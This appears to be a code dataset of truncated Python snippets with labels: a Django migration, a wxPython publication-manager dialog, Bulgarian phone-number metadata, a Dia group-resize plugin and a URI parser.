blank=True)), ('anon_permissions', djorm_pgarray.fields.TextArrayField(choices=[('view_project', 'View project'), ('view_milestones', 'View milestones'), ('view_us', 'View user stories'), ('view_tasks', 'View tasks'), ('view_issues', 'View issues'), ('view_wiki_pages', 'View wiki pages'), ('view_wiki_links', 'View wiki links')], dbtype='text', default=[], verbose_name='anonymous permissions')), ('public_permissions', djorm_pgarray.fields.TextArrayField(choices=[('view_project', 'View project'), ('view_milestones', 'View milestones'), ('view_us', 'View user stories'), ('view_issues', 'View issues'), ('vote_issues', 'Vote issues'), ('view_tasks', 'View tasks'), ('view_wiki_pages', 'View wiki pages'), ('view_wiki_links', 'View wiki links'), ('request_membership', 'Request membership'), ('add_us_to_project', 'Add user story to project'), ('add_comments_to_us', 'Add comments to user stories'), ('add_comments_to_task', 'Add comments to tasks'), ('add_issue', 'Add issues'), ('add_comments_issue', 'Add comments to issues'), ('add_wiki_page', 'Add wiki page'), ('modify_wiki_page', 'Modify wiki page'), ('add_wiki_link', 'Add wiki link'), ('modify_wiki_link', 'Modify wiki link')], dbtype='text', default=[], verbose_name='user permissions')), ('is_private', models.BooleanField(default=False, verbose_name='is private')), ('tags_colors', djorm_pgarray.fields.TextArrayField(dbtype='text', dimension=2, default=[], null=False, verbose_name='tags colors')), ], options={ 'ordering': ['name'], 'verbose_name_plural': 'projects', 'permissions': (('view_project', 'Can view project'),), 'verbose_name': 'project', }, bases=(models.Model,), ), migrations.AddField( model_name='project', name='members', field=models.ManyToManyField(to=settings.AUTH_USER_MODEL, related_name='projects', verbose_name='members', through='projects.Membership'), preserve_default=True, ), migrations.AddField( model_name='project', name='owner', field=models.ForeignKey(to=settings.AUTH_USER_MODEL, related_name='owned_projects', verbose_name='owner'), preserve_default=True, ), migrations.AddField( model_name='membership', name='user', field=models.ForeignKey(blank=True, default=None, to=settings.AUTH_USER_MODEL, null=True, related_name='memberships'), preserve_default=True, ), migrations.AddField( model_name='membership', name='project', field=models.ForeignKey(default=1, to='projects.Project', related_name='memberships'), preserve_default=False, ), migrations.AlterUniqueTogether( name='membership', unique_together=set([('user', 'project')]), ), migrations.AddField( model_name='membership', name='role', field=models.ForeignKey(related_name='memberships', to='users.Role', default=1), preserve_default=False, ), ] ",1 "erdev.org> # date: 2012/04/20 # copy: (C) Copyright 2012-EOT metagriffin -- see LICENSE.txt #------------------------------------------------------------------------------ # This software is free software: you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This software is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see http://www.gnu.org/licenses/. #------------------------------------------------------------------------------ from .tracker import * from .merger import * #------------------------------------------------------------------------------ # end of $Id$ #------------------------------------------------------------------------------ ",1 "jaca z Google Scholar ## Copyright (C) 2013 Damian Baran ## ## This program is free software: you can redistribute it and/or modify ## it under the terms of the GNU General Public License as published by ## the Free Software Foundation, either version 3 of the License, or ## (at your option) any later version. ## ## This program is distributed in the hope that it will be useful, ## but WITHOUT ANY WARRANTY; without even the implied warranty of ## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ## GNU General Public License for more details. ## ## You should have received a copy of the GNU General Public License ## along with this program. If not, see . ################################################ import wx import os import wx.xrc import modules.baz.cDatabase as cDatabase import linecache ########################################################################### ## Class PubDialog ########################################################################### ## Dokumentacja dla klasy # # Klasa zawiera widok z zarzadzaniem publikacjami class PubDialog ( wx.Dialog ): ## Konstruktor def __init__( self ): wx.Dialog.__init__ ( self, None, id = wx.ID_ANY, title = u""Zarządzanie Publikacjami"", pos = wx.DefaultPosition, size = wx.Size( 450,430 ), style = wx.DEFAULT_DIALOG_STYLE ) self.session = cDatabase.connectDatabase() self.listType = [] self.getType() ico = wx.Icon('icon/pub.ico', wx.BITMAP_TYPE_ICO) self.SetIcon(ico) self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize ) bSizer1 = wx.BoxSizer( wx.VERTICAL ) bSizer28 = wx.BoxSizer( wx.VERTICAL ) bSizer21 = wx.BoxSizer( wx.VERTICAL ) self.m_staticText1 = wx.StaticText( self, wx.ID_ANY, u""Dodawanie Publikacji"", wx.DefaultPosition, wx.DefaultSize, wx.ALIGN_CENTRE|wx.ST_NO_AUTORESIZE ) self.m_staticText1.Wrap( -1 ) bSizer21.Add( self.m_staticText1, 0, wx.EXPAND|wx.ALL, 5 ) bSizer28.Add( bSizer21, 0, wx.EXPAND|wx.ALIGN_CENTER_HORIZONTAL, 5 ) bSizer1.Add( bSizer28, 0, wx.EXPAND, 5 ) bSizer26 = wx.BoxSizer( wx.HORIZONTAL ) bSizer15 = wx.BoxSizer( wx.VERTICAL ) bSizer3 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText2 = wx.StaticText( self, wx.ID_ANY, u""Tytuł:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText2.Wrap( -1 ) bSizer3.Add( self.m_staticText2, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) self.m_textCtrl2 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) bSizer3.Add( self.m_textCtrl2, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer3, 0, wx.EXPAND|wx.ALIGN_CENTER_HORIZONTAL, 5 ) bSizer5 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText4 = wx.StaticText( self, wx.ID_ANY, u""Autorzy:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText4.Wrap( -1 ) bSizer5.Add( self.m_staticText4, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) self.m_textCtrl4 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) bSizer5.Add( self.m_textCtrl4, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer5, 0, wx.EXPAND, 5 ) bSizer4 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText3 = wx.StaticText( self, wx.ID_ANY, u""Cytowania:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText3.Wrap( -1 ) bSizer4.Add( self.m_staticText3, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) self.m_textCtrl3 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) bSizer4.Add( self.m_textCtrl3, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer4, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.EXPAND, 5 ) bSizer6 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText5 = wx.StaticText( self, wx.ID_ANY, u""Typ:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText5.Wrap( -1 ) bSizer6.Add( self.m_staticText5, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) m_choice1Choices = self.listType self.m_choice1 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 145,-1 ), m_choice1Choices, 0 ) self.m_choice1.SetSelection( 0 ) bSizer6.Add( self.m_choice1, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer6, 0, wx.EXPAND, 5 ) bSizer7 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText6 = wx.StaticText( self, wx.ID_ANY, u""Rok:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText6.Wrap( -1 ) bSizer7.Add( self.m_staticText6, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) self.m_textCtrl5 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) bSizer7.Add( self.m_textCtrl5, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer7, 0, wx.EXPAND, 5 ) bSizer8 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText7 = wx.StaticText( self, wx.ID_ANY, u""DOI:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText7.Wrap( -1 ) bSizer8.Add( self.m_staticText7, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) self.m_textCtrl6 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) bSizer8.Add( self.m_textCtrl6, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer8, 0, wx.EXPAND, 5 ) bSizer29 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText9 = wx.StaticText( self, wx.ID_ANY, u""Inny klucz:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText9.Wrap( -1 ) bSizer29.Add( self.m_staticText9, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) self.m_textCtrl7 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) bSizer29.Add( self.m_textCtrl7, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer29, 0, wx.EXPAND, 5 ) bSizer9 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText8 = wx.StaticText( self, wx.ID_ANY, u""Wydawca:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText8.Wrap( -1 ) bSizer9.Add( self.m_staticText8, 1, wx.ALL|wx.ALIGN_CENTER_VERTICAL, 5 ) m_choice2Choices = cDatabase.getJournalName(self.session) self.m_choice2 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 145,-1 ), m_choice2Choices, 0 ) bSizer9.Add( self.m_choice2, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer9, 0, wx.EXPAND, 5 ) bSizer17 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText10 = wx.StaticText( self, wx.ID_ANY, u""Źródło:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText10.Wrap( -1 ) bSizer17.Add( self.m_staticText10, 1, wx.ALL, 5 ) self.m_textCtrl71 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) bSizer17.Add( self.m_textCtrl71, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer17, 1, wx.EXPAND, 5 ) bSizer18 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText99 = wx.StaticText( self, wx.ID_ANY, u""LMCP:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText99.Wrap( -1 ) bSizer18.Add( self.m_staticText99, 1, wx.ALL, 5 ) self.m_textCtrl99 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( 145,-1 ), 0 ) self.m_textCtrl99.SetToolTipString( u""Ilość punktów na liście ministerialnej"" ) bSizer18.Add( self.m_textCtrl99, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer18, 1, wx.EXPAND, 5 ) bSizer19 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText98 = wx.StaticText( self, wx.ID_ANY, u""JCR:"", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText98.Wrap( -1 ) bSizer19.Add( self.m_staticText98, 1, wx.ALL, 5 ) m_choice3Choices = ['True', 'False'] self.m_choice3 = wx.Choice( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 145,-1 ), m_choice3Choices, 0 ) bSizer19.Add( self.m_choice3, 0, wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer15.Add( bSizer19, 1, wx.EXPAND, 5 ) bSizer26.Add( bSizer15, 1, wx.EXPAND, 5 ) bSizer23 = wx.BoxSizer( wx.VERTICAL ) bSizer10 = wx.BoxSizer( wx.VERTICAL ) m_checkList3Choices = cDatabase.getUserName(self.session) self.m_checkList3 = wx.CheckListBox( self, wx.ID_ANY, wx.DefaultPosition, wx.Size( 200,281 ), m_checkList3Choices, 0 ) self.m_checkList3.SetToolTipString( u""Powiąż autorów z publikacją"" ) bSizer10.Add( self.m_checkList3, 0, wx.EXPAND|wx.BOTTOM|wx.RIGHT|wx.LEFT, 5 ) bSizer23.Add( bSizer10, 0, wx.EXPAND, 5 ) bSizer26.Add( bSizer23, 1, wx.EXPAND, 5 ) bSizer1.Add( bSizer26, 0, wx.EXPAND, 5 ) bSizer55 = wx.BoxSizer( wx.HORIZONTAL ) self.m_textCtrl55 = wx.TextCtrl( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.Size( -1,50 ), wx.TE_MULTILINE ) self.m_textCtrl55.SetToolTipString( u""Notatki do publikacji"" ) bSizer55.Add( self.m_textCtrl55, 1, wx.ALL|wx.EXPAND, 5 ) bSizer1.Add( bSizer55, 0, wx.EXPAND, 5 ) bSizer11 = wx.BoxSizer( wx.HORIZONTAL ) self.m_button1 = wx.Button( self, wx.ID_ANY, u""Dodaj"", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer11.Add( self.m_button1, 0, wx.ALL|wx.EXPAND, 5 ) self.m_button3 = wx.Button( self, wx.ID_ANY, u""Zatwierdź"", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer11.Add( self.m_button3, 0, wx.ALL, 5 ) self.m_button4 = wx.Button( self, wx.ID_ANY, u""Zamknij"", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer11.Add( self.m_button4, 0, wx.ALL, 5 ) self.m_staticText11 = wx.StaticText( self, wx.ID_ANY, u"""", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText11.Wrap( -1 ) bSizer11.Add( self.m_staticText11, 1, wx.ALL, 5 ) self.m_staticText12 = wx.StaticText( self, wx.ID_ANY, u"""", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText12.Wrap( -1 ) bSizer11.Add( self.m_staticText12, 1, wx.ALL, 5 ) bSizer1.Add( bSizer11, 0, wx.ALIGN_RIGHT, 5 ) self.SetSizer( bSizer1 ) self.Layout() self.Centre( wx.BOTH ) self.m_button3.Hide() self.m_staticText11.Hide() self.m_staticText12.Hide() ################################################## ## Bind ################################################### self.m_button1.Bind(wx.EVT_BUTTON, self.addPubValue) self.m_button4.Bind(wx.EVT_BUTTON, self.close) self.m_button3.Bind(wx.EVT_BUTTON, self.editPubValue) ################################################### ## Metody ################################################### self.getType() ## Dokumentacja getType # @param self Wskaźnik obiektu # # @return void # Funkcja pobiera typy publikacji z pliku def getType(self): count = len(open('type.txt', 'rU').readlines()) for i in range(count): self.listType.append(linecache.getline('type.txt',i+1)) print self.listType ## Dokumentacja editPubValue # @param self Wskaźnik obiektu # @param event Wywołanie żadania # # @return void # Funkcja wysyla zadanie edycji wybranej publikacji def editPubValue(self, event): #Pobiera wartosci z kontrolek do edycji tmp = self.m_staticText1.GetLabel() tmp = tmp.split('. ', 1) t0 = tmp[1] t1 = self.m_textCtrl2.GetValue() t2 = self.m_textCtrl4.GetValue() t3 = self.m_textCtrl3.GetValue() t4 = self.m_choice1.GetStringSelection() t5 = self.m_textCtrl5.GetValue() t6 = self.m_textCtrl6.GetValue() t7 = self.m_textCtrl7.GetValue() t8 = self.m_choice2.GetStringSelection() t10 = self.m_textCtrl71.GetValue() t11 = self.m_textCtrl99.GetValue() #Lista ministerialna t12 = self.m_choice3.GetStringSelection() #czy jest w JCR t13 = self.m_textCtrl55.GetValue() #notatka #Odznacza już powiazanych autorów ch = cDatabase.editItemAuthor(self.session, t0) t9 = self.getCheckUser() #Pobiera wartosci ID dla zaznaczonych autorów tmp = cDatabase.getJournalNameID(self.session) print t8 if t8 != u'': t8 = tmp[t8] else: t8 = None t = (t1, t2, t3, t4, t5, t6, t7, t8, t9, t10, t11, t12, t13) #Sprawdzenie czy obowiazkowe wartości nie sa puste if t1 != '' and t2 != '' and t3 != '' and t5 != '': cDatabase.editPubData(self.session, t, t0) wx.MessageBox(u'Zauktualizowano wartości!', u'Sukces', wx.OK | wx.ICON_INFORMATION) else: wx.MessageBox(u'Nie podana nazwy grupy \nlub nie wybrano autorów.', u'Bład', wx.OK | wx.ICON_INFORMATION) self.Destroy() ## Dokumentacja addPubValue # @param self Wskaźnik obiektu # @param event Wywołanie żadania # # @return void # Funkcja wysyla zadanie dodania nowej publikacji def addPubValue(self, event): #Pobiera wartosci z kontrolek do edycji tx1 = self.m_textCtrl2.GetValue() #tytul tx2 = self.m_textCtrl4.GetValue() #autor tx3 = self.m_textCtrl3.GetValue() #cytowania tx4 = self.m_choice1.GetStringSelection() #typ tx5 = self.m_textCtrl5.GetValue() #rok tx6 = self.m_textCtrl6.GetValue() #doi tx9 = self.m_textCtrl7.GetValue() #identy tx7 = self.m_choice2.GetStringSelection() #wydawca ID tx8 = self.getCheckUser() #autor id tx10 = self.m_textCtrl71.GetValue() #zrodlo tx11 = self.m_staticText11.GetLabel() #urlpub tx12 = self.m_staticText12.GetLabel() #urlcit tx13 = self.m_textCtrl99.GetValue() #Lista ministerialna tx14 = self.m_choice3.GetStringSelection() #jcr tx15 = self.m_textCtrl55.GetValue() #note #Pobiera wartosci ID dla zaznaczonych autorów tmp = cDatabase.getJournalNameID(self.session) if tx7 != u'': tx7 = tmp[tx7] else: tx7 = None t = (tx1, tx2, tx3, tx4, tx5, tx6, tx9, tx7, tx8, tx11, tx12, tx10, tx13, tx14, tx15) #Sprawdzenie czy obowiazkowe wartości nie sa puste if tx1 != '' and tx2 != '' and tx3 != '' and tx5 != '': cDatabase.addPubData(self.session, t) else: wx.MessageBox(u'Pola ""Tytuł, Autor, Cytowania, Rok"" sa wymagane!', u'Bład', wx.OK | wx.ICON_INFORMATION) self.Destroy() ## Dokumentacja getCheckUser # @param self Wskaźnik obiektu # # @return list Lista ID autorow powiazanych z publikacja # Funkcja pobiera id wszystkich powiazanych autorów do publikacji def getCheckUser(self): result = [] guser = cDatabase.getUserName(self.session) t = cDatabase.getUserNameID(self.session) for i in range(len(guser)): if self.m_checkList3.IsChecked(i): id = t[guser[i]] result.append(id) return result ## Dokumentacja close # @param self Wskaźnik obiektu # @param event Wywołanie żadania # # @return void # Funkcja zamyka okienko z zarzadzaniem publikacjami def close(self, event): """"""Zamyka okienko publikacji"""""" self.Destroy() if __name__ == ""__main__"": app = wx.App(False) controller = PubDialog() controller.Show() app.MainLoop() ",1 "G = PhoneMetadata(id='BG', country_code=359, international_prefix='00', general_desc=PhoneNumberDesc(national_number_pattern='[23567]\\d{5,7}|[489]\\d{6,8}', possible_number_pattern='\\d{5,9}'), fixed_line=PhoneNumberDesc(national_number_pattern='2(?:[0-8]\\d{5,6}|9\\d{4,6})|(?:[36]\\d|5[1-9]|8[1-6]|9[1-7])\\d{5,6}|(?:4(?:[124-7]\\d|3[1-6])|7(?:0[1-9]|[1-9]\\d))\\d{4,5}', possible_number_pattern='\\d{5,8}', example_number='2123456'), mobile=PhoneNumberDesc(national_number_pattern='(?:8[7-9]|98)\\d{7}|4(?:3[0789]|8\\d)\\d{5}', possible_number_pattern='\\d{8,9}', example_number='48123456'), toll_free=PhoneNumberDesc(national_number_pattern='800\\d{5}', possible_number_pattern='\\d{8}', example_number='80012345'), premium_rate=PhoneNumberDesc(national_number_pattern='90\\d{6}', possible_number_pattern='\\d{8}', example_number='90123456'), shared_cost=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), personal_number=PhoneNumberDesc(national_number_pattern='700\\d{5}', possible_number_pattern='\\d{5,9}', example_number='70012345'), voip=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), pager=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), uan=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), emergency=PhoneNumberDesc(national_number_pattern='1(?:12|50|6[06])', possible_number_pattern='\\d{3}', example_number='112'), voicemail=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), short_code=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), standard_rate=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), no_international_dialling=PhoneNumberDesc(national_number_pattern='NA', possible_number_pattern='NA'), national_prefix='0', national_prefix_for_parsing='0', number_format=[NumberFormat(pattern='(2)(\\d{5})', format='\\1 \\2', leading_digits_pattern=['29'], national_prefix_formatting_rule='0\\1'), NumberFormat(pattern='(2)(\\d{3})(\\d{3,4})', format='\\1 \\2 \\3', leading_digits_pattern=['2'], national_prefix_formatting_rule='0\\1'), NumberFormat(pattern='(\\d{3})(\\d{4})', format='\\1 \\2', leading_digits_pattern=['43[124-7]|70[1-9]'], national_prefix_formatting_rule='0\\1'), NumberFormat(pattern='(\\d{3})(\\d{3})(\\d{2})', format='\\1 \\2 \\3', leading_digits_pattern=['43[124-7]|70[1-9]'], national_prefix_formatting_rule='0\\1'), NumberFormat(pattern='(\\d{3})(\\d{2})(\\d{3})', format='\\1 \\2 \\3', leading_digits_pattern=['[78]00'], national_prefix_formatting_rule='0\\1'), NumberFormat(pattern='(\\d{2})(\\d{3})(\\d{2,3})', format='\\1 \\2 \\3', leading_digits_pattern=['[356]|4[124-7]|7[1-9]|8[1-6]|9[1-7]'], national_prefix_formatting_rule='0\\1'), NumberFormat(pattern='(\\d{2})(\\d{3})(\\d{3,4})', format='\\1 \\2 \\3', leading_digits_pattern=['48|8[7-9]|9[08]'], national_prefix_formatting_rule='0\\1')]) ",1 "you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # import sys, dia import os import pygtk pygtk.require(""2.0"") import gtk import locale class ResizeWindow(object): def __init__(self, group, data): self.group = group self.data = data self.initWindow() def initWindow(self): self.dlg = gtk.Dialog() self.dlg.set_title('Group Resize') self.dlg.set_border_width(6) self.dlg.vbox.pack_start(self.dialogContents(), fill=True, expand=True, padding=5) self.dlg.add_button(gtk.STOCK_APPLY, gtk.RESPONSE_APPLY) self.dlg.add_button(gtk.STOCK_CLOSE, gtk.RESPONSE_CLOSE) self.dlg.set_has_separator(True) self.dlg.set_modal(False) self.dlg.get_widget_for_response(gtk.RESPONSE_CLOSE).connect(""clicked"", self.hide, None) self.dlg.get_widget_for_response(gtk.RESPONSE_APPLY).connect(""clicked"", self.clickAplicar, None) def dimensionsFrame(self, label): frame = gtk.Frame(label) table = gtk.Table(rows=4, columns=2) ignore = gtk.RadioButton(group=None, label=""do not change"") ignore.show() smallest = gtk.RadioButton(group=ignore, label=""shrink to smallest"") smallest.show() largest = gtk.RadioButton(group=ignore, label=""enlarge to largest"") largest.show() specify = gtk.RadioButton(group=ignore, label=""resize to:"") specify.show() value = gtk.Entry() value.show() specify.connect(""toggled"", self.enableValueEntry, value) self.enableValueEntry(specify, value) table.attach (ignore, 0, 1, 0, 1) table.attach (smallest, 0, 1, 1, 2) table.attach (largest, 0, 1, 2, 3) table.attach (specify, 0, 1, 3, 4) table.attach (value, 1, 2, 3, 4) frame.add(table) table.show() frame.show() options = { 'ignore': ignore, 'smallest': smallest, 'largest': largest, 'specify': specify, 'value': value } return frame, options def enableValueEntry(self, radioSpecify, entrySpecify, *args): entrySpecify.set_sensitive(radioSpecify.get_active()) def contentsFrameWidth(self): frame, self.widthOptions = self.dimensionsFrame('Width') return frame def contentsFrameHeight(self): frame, self.heightOptions = self.dimensionsFrame('Height') return frame def dialogContents(self): contents = gtk.VBox(spacing=5) contents.pack_start(self.contentsFrameWidth(), fill=True, expand=True) contents.pack_start(self.contentsFrameHeight(), fill=True, expand=True) contents.show() return contents def getSelectedGroupOption(self, options): value = options['value'].get_text() for opt in 'ignore', 'smallest', 'largest', 'specify': if options[opt].get_active(): return (opt,value) return ('ignore',value) def getValue(self, opt, value, elProperty): if opt == 'specify': return self.toFloat(value) else: values = [ x.properties[elProperty].value for x in self.group if x.properties.has_key(elProperty) ] if opt == 'smallest': return min(values) else: return max(values) def adjustWidth(self, value): for obj in self.group: pos = obj.properties['obj_pos'].value if obj.properties.has_key(""elem_width""): difference = value - obj.properties['elem_width'].value handleLeft = obj.handles[3] handleRight = obj.handles[4] amount = difference/2 obj.move_handle(handleLeft, (handleLeft.pos.x - amount, handleLeft.pos.y), 0, 0) obj.move_handle(handleRight, (handleRight.pos.x + amount, handleRight.pos.y), 0, 0) obj.move(pos.x, pos.y) def adjustHeight(self, value): for obj in self.group: pos = obj.properties['obj_pos'].value if obj.properties.has_key(""elem_height""): difference = value - obj.properties['elem_height'].value handleTop = obj.handles[1] handleBottom = obj.handles[6] amount = difference/2 obj.move_handle(handleTop, (handleTop.pos.x, handleTop.pos.y - amount), 0, 0) obj.move_handle(handleBottom, (handleBottom.pos.x, handleBottom.pos.y + amount), 0, 0) obj.move(pos.x, pos.y) def toFloat(self, valor): return locale.atof(valor) def clickAplicar(self, *args): optWidth = self.getSelectedGroupOption(self.widthOptions) optHeight = self.getSelectedGroupOption(self.heightOptions) try: if optWidth[0] != 'ignore': width = self.getValue(optWidth[0], optWidth[1], 'elem_width') self.adjustWidth(width) if optHeight[0] != 'ignore': height = self.getValue(optHeight[0], optHeight[1], 'elem_height') self.adjustHeight(height) if dia.active_display(): diagram = dia.active_display().diagram for obj in self.group: diagram.update_connections(obj) except Exception,e: dia.message(gtk.MESSAGE_ERROR, repr(e)) if dia.active_display(): dia.active_display().add_update_all() dia.active_display().flush() def show(self): self.dlg.show() def hide(self, *args): self.dlg.hide() def run(self): return self.dlg.run() def dia_group_resize_db (data,flags): diagram = dia.active_display().diagram group = diagram.get_sorted_selected() if len(group) > 0: win = ResizeWindow(group, data) win.show() else: dia.message(gtk.MESSAGE_INFO, ""Please select a group of objects"") dia.register_action(""ObjectGroupResize"", ""Group Resize"", ""/DisplayMenu/Objects/ObjectsExtensionStart"", dia_group_resize_db) ",1 " raise ValueError( 'root_path must start and end with ""/""' ) self.root_path = root_path self.uri_regex = re.compile( r'^({0}|/)(([a-zA-Z0-9\-_.!~*<>]+/)*)([a-zA-Z0-9\-_.!~*<>]+)?(:([a-zA-Z0-9\-_.!~*\'<>]*:)*)?(\([a-zA-Z0-9\-_.!~*<>]+\))?$'.format( self.root_path ) ) def split( self, uri, root_optional=False ): uri_match = self.uri_regex.match( uri ) if not uri_match: raise ValueError( 'Unable to parse URI ""{0}""'.format( uri ) ) ( root, namespace, _, model, rec_id, _, action ) = uri_match.groups() if root != self.root_path and not root_optional: raise ValueError( 'URI does not start in the root_path' ) if namespace != '': namespace_list = namespace.rstrip( '/' ).split( '/' ) else: namespace_list = [] if rec_id is not None: id_list = rec_id.strip( ':' ).split( ':' ) multi = len( id_list ) > 1 else: id_list = None # id_list = [] is an empty list of ids, where None means the list is not even present multi = False if action is not None: action = action[ 1:-1 ] return ( namespace_list, model, action, id_list, multi ) def build( self, namespace=None, model=None, action=None, id_list=None, in_root=True ): """""" build a uri, NOTE: if model is None, id_list and action are skiped """""" if in_root: result = self.root_path else: result = '/' if namespace is not None: if not isinstance( namespace, list ): namespace = [ namespace ] if len( namespace ) > 0: result = '{0}{1}/'.format( result, '/'.join( namespace ) ) if model is None: return result result = '{0}{1}'.format( result, model ) if id_list is not None and id_list != []: if not isinstance( id_list, list ): id_list = [ id_list ] result = '{0}:{1}:'.format( result, ':'.join( id_list ) ) if action is not None: result = '{0}({1})'.format( result, action ) return result def extractIds( self, uri_list ): # TODO: should we make sure the namespace/model do not change in the list? """""" extract the record IDs from the URI's in uri_list, can handle some/all/none of the URIs having multiple IDs in them allready, does not force uniqunes order should remain intact """""" if isinstance( uri_list, str ): uri_list = [ uri_list ] if not isinstance( uri_list, list ): raise ValueError( 'uri_list must be string or list of strings' ) result = [] for uri in uri_list: uri_match = self.uri_regex.match( uri ) if not uri_match: raise ValueError( 'Unable to parse URI ""{0}""'.format( uri ) ) ( _, _, _, _, rec_id, _, _ ) = uri_match.groups() if rec_id is None: continue result += rec_id.strip( ':' ).split( ':' ) return result def uriListToMultiURI( self, uri_list ): """""" runs extract Ids on the list, then takes the first uri and applies all the ids to it """""" if not uri_list: return [] id_list = self.extractIds( uri_list ) if not id_list: return [] ( namespace_list, model, action, _, _ ) = self.split( uri_list[0] ) return self.build( namespace_list, model, action, id_list, True ) # barrowed from https://www.python.org/dev/peps/pep-0257/ def doccstring_prep( docstring ): if not docstring: return '' # Convert tabs to spaces (following the normal Python rules) # and split into a list of lines: lines = docstring.expandtabs().splitlines() # Determine minimum indentation (first line doesn't count): indent = sys.maxsize for line in lines[ 1: ]: stripped = line.lstrip() if stripped: indent = min( indent, len( line ) - len( stripped ) ) # Remove indentation (first line is special): trimmed = [ lines[0].strip() ] if indent < sys.maxsize: for line in lines[1:]: trimmed.append( line[ indent: ].rstrip() ) # Strip off trailing and leading blank lines: while trimmed and not trimmed[-1]: trimmed.pop() while trimmed and not trimmed[0]: trimmed.pop( 0 ) # Return a single string: return '\n'.join( trimmed ) ",1 " class CostModel(object): """""" Class to handle the cost of evaluating the function. param cost_withGradients: function that returns the cost of evaluating the function and its gradient. By default no cost is used. 